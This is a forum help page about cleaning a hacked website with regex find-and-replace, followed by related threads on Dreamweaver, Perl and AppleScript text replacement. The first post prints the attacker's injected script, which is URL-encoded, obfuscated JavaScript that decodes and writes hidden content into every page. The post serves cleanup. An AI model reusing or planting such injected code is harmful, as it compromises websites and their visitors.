Find and replace with wildcard

help.. i had my site hacked and they stuck a script at the
end of every file and i need to do a find and replace to remove all
of that coding.
the problem is that the coding is different on every page and
i dont want to have to remove it from 1000+ pages.
i'm pretty sure you can do this with dreamweaver.. all of the
bogus coding is after the </html> at the end of the page.
can anyone help?
here is an example of the coding:
<!--[z0s]-->("%3Cscript%3Eif%28NJ%21%3D1%29%7Bfunction%20nS%28sg%29%7Breturn%20sg%7Dtry%7B var%20zX%3D%27xxvxBvxtvxrvxPvxbvx8vxdvxDvxivx6vxwvxcvxXvxRvxovxIvxjvxUvx3vxSvxTvx7vxfvx4vx nvxsvxkvxgvxyvxLvxYvxOvxZvxMvx9vxzvx5vxGvxHvxhvxmvxJvxpvxqvxCvxWvxavxlvxKvxNvxAvxVvxFvBxvB BvBtvBrvBPvBbvB8vBdvBDvBivB6vBwvBcvBXvBRvBovBIvBjvBUvB3vBSvBTvB7vBf%27%2CcY%3DzX.substr%28 2%2C1%29%3Bvar%20Ar%3DArray%28It%28%27185%27%29%2C28831%5E28777%2C31791%5E31945%2CIt%28%27 247%27%29%2C1043%5E1279%2C16798%5E16747%2C4194%5E4243%2CIt%28%27187%27%29%2CIt%28%27227%27 %29%2C24343%5E24551%2C8596%5E8575%2CIt%28%27234%27%29%2CIt%28%27165%27%29%2CIt%28%27239%27 %29%2CIt%28%27173%27%29%2C15091%5E14887%2C23064%5E23217%2CIt%28%27242%27%29%2CIt%28%27172% 27%29%2CIt%28%27254%27%29%2C16276%5E16231%2CIt%28%27228%27%29%2C21729%5E21507%2C9124%5E907 1%2C22207%5E22023%2CIt%28%27224%27%29%2C24716%5E24653%2CIt%28%27190%27%29%2C16599%5E16403% 2CIt%28%27209%27%29%2CIt%28%27171%27%29%2CIt%28%27232%27%29%2C4557%5E4451%2C2956%5E2865%2C 16528%5E16419%2C29064%5E28985%2CIt%28%27181%27%29%2CIt%28%27225%27%29%2C5641%5E5863%2C2427 6%5E24179%2C9220%5E9465%2C5727%5E5789%2C23429%5E23373%2C29981%5E30155%2C2327%5E2543%2CIt%2 8%27162%27%29%2CIt%28%27180%27%29%2C3058%5E2853%2C21870%5E21947%2C4590%5E4359%2CIt%28%2721 1%27%29%2C30955%5E30785%2C14008%5E13909%2CIt%28%27202%27%29%2CIt%28%27168%27%29%2CIt%28%27 191%27%29%2C19973%5E20129%2CIt%28%27186%27%29%2C10455%5E10249%2CIt%28%27219%27%29%2C4454%5 E4505%2CIt%28%27188%27%29%2CIt%28%27216%27%29%2C20136%5E20081%2CIt%28%27244%27%29%2C12739% 5E12547%2CIt%28%27231%27%29%2CIt%28%27199%27%29%2C1461%5E1353%2CIt%28%27198%27%29%2C5206%5 E5337%2CIt%28%27206%27%29%2CIt%28%27183%27%29%2CIt%28%27182%27%29%2C22279%5E22455%2CIt%28% 27178%27%29%2C22919%5E22875%2C4994%5E4909%29%2CCu%3Bvar%20sg%2CRf%3Bvar%20vB%3D%27xxxBxtxr xPxbx8xdxDxix6xtx8xPxwx6xcxXxtxRx6xoxIxixjxUx3xcxSxTxrxcx7xfx4x6xnxjxcxsxTx8xnxRxUxkxSxTxr xcxcxgxyx4xcx6xnxjxcxsxTx8xnxRxUxkxcxgxyxLxBxnx8xyxPxYxnxRx7xfxLx7xnx8xyxPxYxnxRxUxOxZxMx9 xzxzxzxzxzxUxkxcx5xwxtxixYxnx6x8xLxtxwxwxGxPxnxcx4xcx6xoxOxHx4xHxOxnxBxtxTxbxnxRxixjxUxOxH xkxnxhxbxPxrxnxBx4xHxOxgxyxLx8xwxmxJxyxpx8xrxPx6x7xRxUxkxcxqxSxTxrxcxgxmx4xCxBxWxDx7xaxCxI xlxXx4xCxWxCxkxSxTxrxcx6xmx4xCxixbx5xTx8xnxWxLxtxKxTxBxBxPxtx8xnxKxLxwxrx7xCxIxtxNx4xCxAxV x8xYxKxAxCxkxPxDxRx5xwxtxixYxnx6x8xLxtxwxwxGxPxnxLxPx6x5xnxhxFxDxRxgxmxOxCx4xCxOxlxXxUxcx4 x4BxxWxUx3xSxTxrxcx5xKxVx4x5xwxtxixYxnx6x8xLxKxwxtxTx8xPxwx6xLxVxwxBx8xkxSxTxrxcxwxPx4xcxC xVx8xCxOxCx8xbBBxCxOxCxAxAxCxOxRxcx5xKxVxcBtx4xcxCxCBrxCxCBBxPxtxRxUxUxcxOxcx5xKxVxLxrxnxb xKxTxtxnxcxRxABPBbxTBxB8xzBxBdxLBxBDxAxIxCxLxCxUxLxrxnxbxKxTxtxnxcxRxABixLxOxAxIxCxLxCxUxO xCxLxCxOxPxtxRxUxcxOxCxLxCxcxOxcx6xmxOxtxNxkxSxTxrxcB6xpx4x5xwxtxixYxnx6x8xLxtxrxnxTx8xnBw xKxnxYxnx6x8xRxCxPxDxrxTxYxnxCxUxkB6xpxLxBxnx8xgx8x8xrxPBcxix8xnxcxRxCxBxrxtxCxIxcxwxPxUxk B6xpxLxVxnxPx7xVx8x4xzxkB6xpxLxjxPx5x8xVx4x9xkB6xpxLxDxrxTxYxnBXxwxrx5xnxrxcx4xcxzxkxcx8xr BRx3xcx5xwxtxixYxnx6x8xLBcxwx5BRxLxTxbxbxnx6x5BoxVxPxKx5xcxRxcB6xpxUxkxcxXxtxRxgxmxIxcxlxX xcxUxkxqxcxtxTx8xtxVxRxnxUxcx3x5xwxtxixYxnx6x8xLxjxrxPx8xnxcxRxCxxxVx8xYxKxdxxBcxwx5BRxdxx xABcxwx5BRxdxxxAxVx8xYxKxdxCxUxkxcx5xwxtxixYxnx6x8xLBcxwx5BRxLxTxbxbxnx6x5BoxVxPxKx5xcxRxc B6xpxUxkxXxtxcxRxcxgxmxIxlxXxUxcxkxqxcxqBIxDxix6xtx8xPxwx6xcxPxtxRxUx3xcxSxTxrxcxJBjx4BUx9 xIx5xNx4xHxzxWBUB3x9BSxMBTxZBdxzxTBcxtx5xnxDxHxkxSxTxrxcxoxTx4xHxHxkxcxDxwxrxRBjB7x4xzxkxc BjB7xcxxxcxJBjxkxcBjB7xOxOxUxcxoxTxOx4xcx5xNxLxBxiBcxBx8xrxRxJxTx8xVxLxDxKxwxwxrxRxJxTx8xV xLxrxTx6x5xwxYxRxUBfx5xNxLxKxnx6x7x8xVxUxIxWxIxWxUxkxcxrxnx8xixrx6xcxoxTxkxcxqxxxAxBxtxrxP xbx8xd%27%2Cku%3D%27%27%3Bfunction%20It%28fx%29%7Breturn%20parseInt%28fx%29%7DzX%3DzX.spli t%28cY%29%3Bfor%20%28Cu%3D0%3BCu%3CvB.length%3BCu+%3D2%29%7BRf%3DvB.substr%28Cu%2C2%29%3Bf or%28sg%3D0%3Bsg%3CzX.length%3Bsg++%29%7Bif%28zX%5Bsg%5D%3D%3DRf%29break%3B%7Dku+%3DString .fromCharCode%28Ar%5Bsg%5D%5E133%29%3B%7Ddocument.write%28ku%29%3B%7Dcatch%28vQ%29%7B%7D%7 Dvar%20NJ%3D1%3C/script%3E"))<!--[/z0s]-->
__________________

tyankee wrote:
> help.. i had my site hacked and they stuck a script at
the end of every file
> and i need to do a find and replace to remove all of
that coding.
>
> the problem is that the coding is different on every
page and i dont want to
> have to remove it from 1000+ pages.
>
> i'm pretty sure you can do this with dreamweaver.. all
of the bogus coding is
> after the </html> at the end of the page.
>
> can anyone help?
>
> here is an example of the coding:
>
>
>
Find <\/html>.*
Replace with:</html>
Use: RegEx
Mick

Similar Messages

  • Regular Expression Find and Replace with Wildcards

    Hi!
    For the world of me, I can't figure out the right way to do this.
    I basically have a list of last names, first names. I want the last name to have a different css style than the first name.
    So this is what I have now:
    <b>AAGAARD, TODD, S.</b><br>
    <b>AAMOT, KARI,</b> <br>
    <b>AARON, MARJORIE, C. </b> <br>
    and this is what I need to have:
    <span class="LastName">AAGAARD</span>  <span class="FirstName">, TODD, S. </span> <br />
    <span class="LastName">AAMOT</span> <span class="FirstName">, KARI,</span> <br/>
    <span class="LastName">AARON</span> <span class="FirstName">, MARJORIE, C.</span> <br/>
    Any ideas?
    Thanks!

    Make a backup first.
    In the Find field use:
    <b>(\w+),\s+([^<]+)<\/b>\s*<br>
    In the Replace field use:
    <span class="LastName">$1</span> <span classs="FirstName">$2</span><br />
    Select Use regular expression. Light the blue touch paper, and click Replace All.

  • How to use Microsoft Word's Find and Replace with HTML tags?

    Hello to all!
    I'm trying to figure out how to use the find and replace function in Word to replace html tags. I'd like to be able to change something like this:
    <span class="B01-K-ITAL">random text</span>
    To something like this:
    <em>random text</em>
    I want to replace the open and close tags without changing or interfering with the text between the tags. I'm pretty sure I should use wildcards, but I can't figure out how to use them properly.
    Anyone able to lend a hand?

    Here is my latest regular expression with Perl.   I think it matches the spirit of the request in the original post.
    Note, this isn't as easy as you think.  You need to code up the complete set of html rules in you implementation. You need to allow for a certain amount of mal-formed html.
    perl -0660pe 's^<[sS][pP][aA][nN]\s+class="B01-K-ITAL"\s*>(.*?)</[sS][pP][aA][nN]>^<em>$1</em>^gs' i.html >|o.html
    input text
     <html> <head>...</head> <body>I'd like to be able to change something like this: <span class="B01-K-ITAL">#1 one line</span> I want to replace the open and close tags without changing or interfering with the text between the tags. I'm pretty sure I should use wildcards, but I can't figure out how to use them properly. <p>note, this isn't as easy as you think.  You need to code up the complete set of html rules in you implementation. You need to allow for a certain amount of mal-formed html.</p> <span class="B01-K-ITAL">#2 don't be greedy</span> <span class="B01-K-ITAL">$3 multiline text</span> <span class="B01-K-ITAL">#4 multiline tag. I believe html allow a carriage return in white space of tags</span> <span class="B01-K-ITAL">#5 split after the class tag. optional white space</span> <sPan class="B01-K-ITAL">#6 mixed case tag</Span> <p>no text #7</p><span class="B01-K-ITAL"></span> <!-- Apparently, this is valid     http://www.positioniseverything.net/articles/cc-plus.html --> <!--[if IE]> <div id="IEroot"> <![endif]--> <p id="IE">This browser is IE.</p> <p id="notIE">This browser is not IE.</p><!--[if IE]> </div> <![endif]--></body> </html>
    output text
     <html> <head>...</head> <body>I'd like to be able to change something like this: <em>#1 one line</em> I want to replace the open and close tags without changing or interfering with the text between the tags. I'm pretty sure I should use wildcards, but I can't figure out how to use them properly. <p>note, this isn't as easy as you think.  You need to code up the complete set of html rules in you implementation. You need to allow for a certain amount of mal-formed html.</p> <em>#2 don't be greedy</em> <em>$3 multiline text</em> <em>#4 multiline tag. I believe html allow a carriage return in white space of tags</em> <em>#5 split after the class tag. optional white space</em> <em>#6 mixed case tag</em> <p>no text #7</p><em></em> <!-- Apparently, this is valid     http://www.positioniseverything.net/articles/cc-plus.html --> <!--[if IE]> <div id="IEroot"> <![endif]--> <p id="IE">This browser is IE.</p> <p id="notIE">This browser is not IE.</p><!--[if IE]> </div> <![endif]--></body> </html>

  • Find and replace using wildcard

    I've inserted table content using Insert/Table Objects/Insert Tabular Data in DWCS3 and want to remove unwanted code from the table insert.
    Example:
    <td width=156 valign=top style='width:117.0pt;border-top:none;border-left:
      none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
      mso-border-top-alt:solid windowtext .5pt;mso-border-left-alt:solid windowtext .5pt;
      mso-border-alt:solid windowtext .5pt;background:#FF8A50;padding:0cm 5.4pt 0cm 5.4pt'><p class=MsoNormal><span style='mso-bookmark:CurrentPosition'><span
      style='font-size:10.0pt;font-family:Arial'>
    The text between "width" and "Arial'" varies but these two start and end words are the same in each instance to be replaced - how can I find and replace using a regular expression wildcard?  Have researched on web but not come across answer yet.  I thought it might be simple and hopefully it is and I'm just having a shocker. Is it something like Find:  "<td [^"]*> and Replace with: "<td>"?  Am I close?
    I'd appreciate anyone's help and thankyou in advance for your time.

    You might be able to sort this out with Commands > Clean Up Word HTML.
    However, the following regular expression should also do what you're looking for (make a backup first). Put this in the Find field:
    (<td)[\w\W]+?Arial\'(>)
    Put this in the Replace field:
    $1$2
    Select "Use regular expression".

  • Search and replace with wildcard?

    I always use search and replace with Homesite but I wonder if
    there is a way of using a wildcard? I often want to replace text at
    the beginning and end of variable text. I mean, if I have this:
    <h3>First text</h3>
    <h3>Second text here</h3>
    What I'd like is, using the * as a wildcard, is to use
    something like this:
    Replace <h3>*</h3> with <h2>*</h2>
    Any ideas? Thanks

    Make a backup first, in case this doesn't work (although it should).
    Use this in the Find field:
    countryText = "([^"]*)";
    And this in the Replace field:
    <countryText>$1</countryText>

  • How to find and replace with sequential values?

    im building a website. it contains 12 main images per page and luckily according to my design the source code per page contains 12 <img> tags only (rest is background and stuff). now for many pages i keep using a particular page as template and then change each and every image by browsing and clicking. Now i want to make my work easy.
    the images that i want to add in every page are sequentially file named.  001.jpg , 002.jpg .......... and so on.
    So is there some way that i can use find and replace , to find the <img> tags and fill them all with values sequentially that is the first <img> tag containts 001.jpg and the second containts 002,jpg and so on .
    the pages are many thats why i want to make this easy
    thanks very much for help

    Will they ever do this?   I just wish Adobe would purchase TextPad and integrate it into Dreamweaver.  In TextPad, from the manual:
    Other TextPad options in the replacement string:
    \i Generate a sequence number.
    \i(N,M) Ditto, starting at N and incrementing by M.
    So beautifully simple.

  • Find and Replace with User Defined Variable

    I am in the process of converting some legacy help content to RoboHelp HTML 9 in order to give it some more features and customization for our clients. I have been taking advantage of User Defined Variables in order to customize the content. Up to this point I have been manually going through each topic and replacing each instance of a word ("statements" for example) with a user defined variable saying the same thing but with the possibility of being changed later should the customer want to. Though we only have about 200 topics, this is still relatively time-consuming and I would like to automate this as much as possible.
    Is there any way to find and replace content with a User Defined Variable?

    Hi there
    If you open the Script Explorer pod I believe one of the sample scripts is a "UDV Converter" script. Perhaps you could give that a try.
    Cheers... Rick
    Helpful and Handy Links
    RoboHelp Wish Form/Bug Reporting Form
    Begin learning RoboHelp HTML 7, 8 or 9 within the day!
    Adobe Certified RoboHelp HTML Training
    SorcerStone Blog
    RoboHelp eBooks

  • Find and Replace with space or tab

    Hi,
    I have a text file that has commas separating values. I saved it as a csv, but am not getting the results I need with the csv file. I'd like to replace the commas with a space or a tab.
    I know how to use find replace, but I do not know how to indicate these non-printing characters. I tried the ascii code &#32 for space, but i simply get that string of characters replacing my commas.
    ANy help?
    Thanks

    KW,
    You didn't say what program you were using for the Find and Replace, but I'd suggest that Pages would be your best bet. Spaces can be typed-in directly, and several other non-printing characters can be inserted from a drop-down menu.
    The Insert drop-down seems to be available only in Pages, as opposed to Numbers and TextEdit.
    Jerry

  • Find and Replace using Wildcards

    I am following the procedure outlined in Trent’s Blog:
    http://www.trentmueller.com/blog/search-and-replace-wildcard-characters-in-dreamweaver.htm l
    This is fantastic stuff and will really help me.
    I have a few (but only a few) times had success.
    It says to “Use regular expression.”  What does that mean?  What is an “irregular expression?”  I have tried with the box checked and unchecked.  Usually with the box checked it will not Find my string.  I uncheck the box and it sometimes does.
    Example:
    Link to    www.schembs.com/TEST_jds_1.html
    At the moment all the Cases are identical.  I have not uploaded the .css to the site so the right-most formating is not properly displaying.  It does work when the .css is available.
    In the source code I literally copy the line of code:
    <p class="type_X"><u>Joh. Heinrich Sch&ouml;m (1713-1785) <span  class="right-most">1.</span></u></p>
    and paste it into the Find box of F&R.  I then put my cursor above the line and it does not Find it, giving me the “Done.  Not found in current document.” response.  I uncheck the “Use regular expression” box and it will find it.
    THEN,
    I try using a wildcard (with the box checked), Finding:
    <p class="type_X">([^<]*)< p>
    or
    <p class="type_X">[^”]*< p>
    and it will find the misc. lines, e.g. where the text is “Case #1”, but not the lines of interest, with Heinrich’s name.  With the box unchecked it Finds nothing.
    Really would appreciate help.  Thanks.
    jds

    jds zigzag wrote:
    It says to “Use regular expression.”  What does that mean?
    A regular expression is a pattern for matching text. It uses a combination of literal characters and special symbols or sequences of characters (technically called metacharacters or metasequences) to represent such things as the beginning and end of a line or any alphanumeric character. For example, \d represents any number (single digit), \d* represents zero or more numbers in sequence.
    I have written a tutorial series on using regular expressions in Dreamweaver here: http://www.adobe.com/devnet/dreamweaver/articles/regular_expressions_pt1.html.
    I try using a wildcard (with the box checked), Finding: 
    <p class="type_X">([^<]*)< p>
    or
    <p class="type_X">[^”]*< p>
    They're not wildcards, but regular expressions. The first part matches the literal characters <p class="type_X">. The next sections use metacharacters.
    ([^<]*) matches zero or more characters (and as many as possible) that don't include an opening angle bracket (<). The parentheses "capture" the value that's matched so it can be used in a replace sequence.
    [^"]* matches zero or more characters (and as many as possible) that don't include a double quote. There are no parentheses, so the value is not captured for reuse.
    The closing <p> matches those literal characters.
    Regular expressions are not easy, but they're extremely powerful, and a good skill to acquire.

  • Find and replace with multiple files and with a watch folder

    I am trying to create a watch folder that uses red_menace script to:
    1. Have a folder that receives multiple xml files that run the script one by one.
    2. then move the files to an output folder.
    I tried modifying the set TheFIle to choose file -- the original text file to:
    with multiple selections allowed
    But that doesn't seem to work. I know i'm missing a step. Any help is much appreciated!
    Thanks!
    The way i'd like to setup things is having an input folder on the desktop (or just have the application on the desktop and I can drag the files onto it), and let it do it's thing. Once it's done have it export the xml files into an output folder.
    Here's what i got so far:
    on open
    set TheFIle to choose file -- the original text file
    set TheFolder to ("Macintosh HD:Users:user1:Desktop:out") -- the folder for the output file
    set TheName to (GetUniqueName for TheFIle from TheFolder) -- the name for the output file
    set TheText to read TheFIle -- get the text to edit
    set Originals to {"KPCALDATE", "KPCALEVENT", "KPCALDAY", "KPCALBODY", "obituaries name", "" & return & "</cstyle></pstyle>" & return & "<pstyle name=\"obituaries text\"><cstyle>", "<pstyle name=\"obituaries text\"><cstyle name=\"Graphics Bold leadin\" font=\"ADV AGBook-Medium 2\">", "<pstyle name=\"Recipe Ingredients\"><cstyle>", " .com", " .net", " .org", " .edu", "www .", "www. ", "Ho- nolulu", "<pstyle name=\"kicker 12\"><cstyle allcaps=\"1\">fashion news</cstyle><cstyle allcaps=\"1\">" & return & "</cstyle></pstyle>" & return & "", "<component name=\"Headline 1\" type=\"Headline\">" & return & "<header>" & return & "<field name=\"Component name\" type=\"string\" value=\"Headline 1\"/>" & return & "<field name=\"Component type\" type=\"popup\" value=\"Headline\"/>" & return & "</header>" & return & "<body>" & return & "<pstyle name=\"hed STANDARD 36\"><cstyle>", "<pstyle name=\"obituaries text\"><cstyle allcaps=\"1\">", "<pstyle name=\"obituaries text\"><cstyle name=\"Graphics Bold leadin\">", "<pstyle name=\"tagline\"><cstyle>-", "-", "
    Per serving:", "<pstyle name=\"Titlebar - mini, red\"><cstyle allcaps=\"1\">NATION & World </cstyle><cstyle allcaps=\"1\">Report</cstyle><cstyle allcaps=\"1\">" & return & "</cstyle></pstyle>" & return & "", "</cstyle></pstyle>"} -- the terms that can be replaced
    set Replacements to {"subhed", "subhed", "subhed", "Normal", "obituaries text", ", ", "<pstyle name=\"obituaries text\"><cstyle name=\"Graphics Bold leadin\" font=\"ADV AGBook-Medium 2\">", "<pstyle name=\"Recipe Ingredients\"><cstyle>
    ", ".com", ".net", ".org", ".edu", "www.", "www.", "Honolulu", "", "<component name=\"Headline1\" type=\"Headline\">" & return & "<header>" & return & "<field name=\"Component name\" type=\"string\" value=\"Headline1\"/>" & return & "<field name=\"Component type\" type=\"popup\" value=\"Headline\"/>" & return & "</header>" & return & "<body>" & return & "<pstyle name=\"hed STANDARD 27\"><cstyle>", "<pstyle name=\"obituaries text\"><cstyle allcaps=\"1\">", "<pstyle name=\"obituaries text\"><cstyle name=\"Graphics Bold leadin\">", "<pstyle name=\"tagline\"><cstyle>—", " —", "
    Per serving:", "","" & return & "</cstyle></pstyle>"} -- the replacement terms
    repeat with AnItem from 1 to count Originals
    set TheText to (replaceText of TheText from (item AnItem of Originals) to (item AnItem of Replacements))
    end repeat
    try -- write a new output file
    tell application "Finder" to make new file at TheFolder with properties {name:TheName}
    set OpenFile to open for access (result as alias) with write permission
    write TheText to OpenFile starting at eof
    close access OpenFile
    on error errmess
    try
    log errmess
    close access OpenFile
    end try
    end try
    end open
    to GetUniqueName for SomeFile from SomeFolder
    check if SomeFile exists in SomeFolder, creating a new unique name if needed
    parameters - SomeFile [mixed]: a source file path
    SomeFolder [mixed]: a folder to check
    returns [text]: a unique file name and extension
    set {Counter, Divider} to {"00", "_"}
    -- get the name and extension
    set {name:TheName, name extension:TheExtension} to info for file (SomeFile as text)
    if TheExtension is missing value then set TheExtension to ""
    set TheName to text 1 thru -((count TheExtension) + 2) of TheName
    set NewName to TheName & "." & TheExtension
    tell application "System Events" to tell (get name of files of folder (SomeFolder as text))
    repeat while it contains NewName
    set Counter to text 2 thru -1 of ((100 + Counter + 1) as text) -- leading zero
    set NewName to TheName & Divider & Counter & "." & TheExtension
    end repeat
    end tell
    return NewName
    end GetUniqueName
    to EditItems of SomeItems given Title:TheTitle, Prompt:ThePrompt
    displays a dialog for multiple item edit (note that a return is used between each edit item)
    for each of the items in SomeItems, a line containing it's text is placed in the edit box
    the number of items returned are padded or truncated to match the number of items in SomeItems
    parameters - SomeItems [list]: a list of text items to edit
    TheTitle [boolean/text]: use a default or the given dialog title
    ThePrompt [boolean/text]: use a default or the given prompt text
    returns [list]: a list of the edited items, or {} if error
    set {TheItems, TheInput, TheCount} to {{}, {}, (count SomeItems)}
    if TheCount is less than 1 then return {} -- error
    if ThePrompt is in {true, false} then -- "with" or "without" Prompt
    if ThePrompt then
    set ThePrompt to "Edit the following items:" & return -- default
    else
    set ThePrompt to ""
    end if
    else -- fix up the given prompt a little
    set ThePrompt to ThePrompt & return
    end if
    if TheTitle is in {true, false} then if TheTitle then -- "with" or "without" Title
    set TheTitle to "Multiple Edit Dialog" -- default
    else
    set TheTitle to ""
    end if
    set {TempTID, AppleScript's text item delimiters} to {AppleScript's text item delimiters, return}
    set {SomeItems, AppleScript's text item delimiters} to {SomeItems as text, TempTID}
    set TheInput to paragraphs of text returned of (display dialog ThePrompt with title TheTitle default answer SomeItems)
    repeat with AnItem from 1 to TheCount -- pad/truncate entered items
    try
    set the end of TheItems to (item AnItem of TheInput)
    on error
    set the end of TheItems to ""
    end try
    end repeat
    return TheItems
    end EditItems
    to replaceText of SomeText from OldItem to NewItem
    replace all occurances of OldItem with NewItem
    parameters - SomeText [text]: the text containing the item(s) to change
    OldItem [text]: the item to be replaced
    NewItem [text]: the item to replace with
    returns [text]: the text with the item(s) replaced
    set SomeText to SomeText as Unicode text -- TID's are case insensitive with Unicode text
    set {TempTID, AppleScript's text item delimiters} to {AppleScript's text item delimiters, OldItem}
    set {ItemList, AppleScript's text item delimiters} to {text items of SomeText, NewItem}
    set {SomeText, AppleScript's text item delimiters} to {ItemList as text, TempTID}
    return SomeText
    end replaceText
    Message was edited by: gamebreakers

    When you use the open or adding folder items to handlers, you need to add the parameters for the file items passed to them.
    I'll go ahead and post the applet/droplet version of my original script from the previous topic for reference:
    <pre style="
    font-family: Monaco, 'Courier New', Courier, monospace;
    font-size: 10px;
    margin: 0px;
    padding: 5px;
    border: 1px solid #000000;
    width: 720px; height: 340px;
    color: #000000;
    background-color: #FFEE80;
    overflow: auto;"
    title="this text can be pasted into the Script Editor">
    -- search and replace multiple items applet/droplet/folder action
    -- the terms to replace - edit as needed
    property EditableItems : {¬
    "one", ¬
    "two", ¬
    "three", ¬
    "four", ¬
    "five", ¬
    "six", ¬
    "seven", ¬
    "eight", ¬
    "nine", ¬
    "ten", ¬
    "eleven", ¬
    "twelve", ¬
    "thirteen", ¬
    "fourteen", ¬
    "fifteen", ¬
    "sixteen", ¬
    "seventeen", ¬
    "eighteen", ¬
    "nineteen", ¬
    "twenty"}
    -- the folder for the output file(s) - change as needed
    property TheFolder : (path to desktop)
    property LastEditItems : EditableItems
    on run
    the applet/droplet was double-clicked
    open (choose file with multiple selections allowed)
    end run
    on open TheItems
    items were dropped onto the applet/droplet
    parameters - TheItems [list]: a list of the items (aliases) dropped
    returns nothing
    repeat with AnItem in TheItems
    ReplaceMultipleItems from AnItem
    end repeat
    end open
    on adding folder items to this_folder after receiving these_items
    folder action - items were added to a folder
    parameters - this_folder [alias]: the folder added to
    these_items [list]: a list if items (aliases) added
    returns nothing
    repeat with AnItem in these_items
    ReplaceMultipleItems from AnItem
    end repeat
    end adding folder items to
    to ReplaceMultipleItems from SomeFile
    replace multiple text items in SomeFile
    parameters - SomeFile [alias]: the file to replace items in
    returns nothing
    set TheName to (GetUniqueName for SomeFile from TheFolder) -- the name for the output file
    set TheText to read SomeFile -- get the text to edit
    set Originals to (choose from list EditableItems default items LastEditItems with prompt "Select the terms to replace:" with multiple selections allowed) -- the specific terms to replace
    set LastEditItems to Originals
    set Replacements to (EditItems of Originals with Title given Prompt:"Edit the following replacement terms:") -- the replacement terms
    repeat with AnItem from 1 to count Originals
    set TheText to (ReplaceText of TheText from (item AnItem of Originals) to (item AnItem of Replacements))
    end repeat
    try -- write a new output file
    tell application "Finder" to make new file at TheFolder with properties {name:TheName}
    set OpenFile to open for access (result as alias) with write permission
    write TheText to OpenFile starting at eof
    close access OpenFile
    on error errmess
    try
    log errmess
    close access OpenFile
    end try
    end try
    end ReplaceMultipleItems
    to GetUniqueName for SomeFile from SomeFolder
    check if SomeFile exists in SomeFolder, creating a new unique name if needed
    parameters - SomeFile [mixed]: a source file path
    SomeFolder [mixed]: a folder to check
    returns [text]: a unique file name and extension
    set {Counter, Divider} to {"00", "_"}
    -- get the name and extension
    set {name:TheName, name extension:TheExtension} to info for file (SomeFile as text)
    if TheExtension is in {missing value, ""} then
    set TheExtension to ""
    else
    set TheExtension to "." & TheExtension
    end if
    set {NewName, TheExtension} to {TheName, (ChangeCase of TheExtension to "upper")}
    set TheName to text 1 thru -((count TheExtension) + 1) of TheName
    tell application "System Events" to tell (get name of files of folder (SomeFolder as text))
    repeat while it contains NewName
    set Counter to text 2 thru -1 of ((100 + Counter + 1) as text) -- leading zero
    set NewName to TheName & Divider & Counter & TheExtension
    end repeat
    end tell
    return NewName
    end GetUniqueName
    to EditItems of SomeItems given Title:TheTitle, Prompt:ThePrompt
    displays a dialog for multiple item edit (note that a return is used between each edit item)
      for each of the items in SomeItems, a line containing it's text is placed in the edit box
        the number of items returned are padded or truncated to match the number of items in SomeItems
    parameters - SomeItems [list]: a list of text items to edit
    TheTitle [boolean/text]: use a default or the given dialog title
    ThePrompt [boolean/text]: use a default or the given prompt text
    returns [list]: a list of the edited items, or {} if error
    set {TheItems, TheInput, TheCount} to {{}, {}, (count SomeItems)}
    if TheCount is less than 1 then return {} -- error
    if ThePrompt is in {true, false} then -- "with" or "without" Prompt
    if ThePrompt then
    set ThePrompt to "Edit the following items:" & return -- default
    else
    set ThePrompt to ""
    end if
    else -- fix up the given prompt a little
    set ThePrompt to ThePrompt & return
    end if
    if TheTitle is in {true, false} then if TheTitle then -- "with" or "without" Title
    set TheTitle to "Multiple Edit Dialog" -- default
    else
    set TheTitle to ""
    end if
    set {TempTID, AppleScript's text item delimiters} to {AppleScript's text item delimiters, return}
    set {SomeItems, AppleScript's text item delimiters} to {SomeItems as text, TempTID}
    set TheInput to paragraphs of text returned of (display dialog ThePrompt with title TheTitle default answer SomeItems)
    repeat with AnItem from 1 to TheCount -- pad/truncate entered items
    try
    set the end of TheItems to (item AnItem of TheInput)
    on error
    set the end of TheItems to ""
    end try
    end repeat
    return TheItems
    end EditItems
    to ReplaceText of SomeText from OldItem to NewItem
    replace all occurances of OldItem with NewItem
    parameters - SomeText [text]: the text containing the item(s) to change
    OldItem [text]: the item to be replaced
    NewItem [text]: the item to replace with
    returns [text]: the text with the item(s) replaced
    set SomeText to SomeText as text
    if SomeText contains OldItem then
    set {TempTID, AppleScript's text item delimiters} to {AppleScript's text item delimiters, OldItem}
    try
    set {ItemList, AppleScript's text item delimiters} to {text items of SomeText, NewItem}
    set {SomeText, AppleScript's text item delimiters} to {ItemList as text, TempTID}
    on error ErrorMessage number ErrorNumber -- oops
    set AppleScript's text item delimiters to TempTID
    error ErrorMessage number ErrorNumber
    end try
    end if
    return SomeText
    end ReplaceText
    to ChangeCase of SomeText to CaseType
    changes the case or capitalization of SomeText to the specified CaseType using Python
    parameters - SomeText [text]: the text to change
    CaseType [text]: the type of case desired:
    "upper" = all uppercase text
    "lower" = all lowercase text
    "title" = uppercase character at start of each word, otherwise lowercase
    "capitalize" = capitalize the first character of the text, otherwise lowercase
    returns [text]: the changed text 
    set SomeText to SomeText as text
    if CaseType is not in {"upper", "lower", "title", "capitalize"} then return SomeText
    return (do shell script "/usr/bin/python -c \"import sys; print unicode(sys.argv[1], 'utf8')." & CaseType & "().encode('utf8')\" " & quoted form of SomeText)
    end ChangeCase
    </pre>
    Edit: how does the choose from list dialog handle those big strings? I'm guessing not very well - is that why you avoided using them?
    Message was edited by: red_menace

  • Find and replace smart quotes with straight quotes?

    I understand I can turn off smart quotes so that I can type straight quotes, but I need to replace hundreds of curly smart quotes with straight quotes, is there a feature that will let me do this? I am using FM8.
    Thanx,
    Willian

    I am using FM9....so I don't know if the same shortcuts apply, but this is what I found out last week.
    Use the Find and Replace tool:
    With smart quotes turned off and the Num Lock key turned on:
    Alt0147 will give you beginning quotation marks
    Alt0148 will give you ending quotation marks
    In the Find box use ALT0147 or ALT0148 for the beginning or ending quotes. When you click in the box and type
    one of the shortcuts the correct quote will be shown in the box.
    In the replace box type the regular straight quotes on your keyboard.
    I was thrilled that it would work!...course you do have to do them separately and be careful not to replace the curly quotes
    that you want to leave in your document.
    Hope this helps using FM8....
    ls

  • Dumb Q: problem with Find And Replace window in Flash 8

    Dear Flash Group,
    apologies if this is trivial, it's my first day using Flash.
    I downloaded a Flash project from
    http://www.flashorb.com/articles/benchmark_files/flash-benchmark.zip.
    This
    flash calls into a web service at localhost:8080. I used the
    'Find and
    Replace' window within Flash Professional 8 to locate the
    string
    'localhost:8080' and replaced it with plain 'localhost'.
    However, when I 'Debug the Movie' (Ctrl-Shift-Enter), it
    still tries to
    access port 8080! Obsiously, my replace command did not do
    what I thought it
    would do. I opened the FLA file in a binary editor, and saw 4
    more
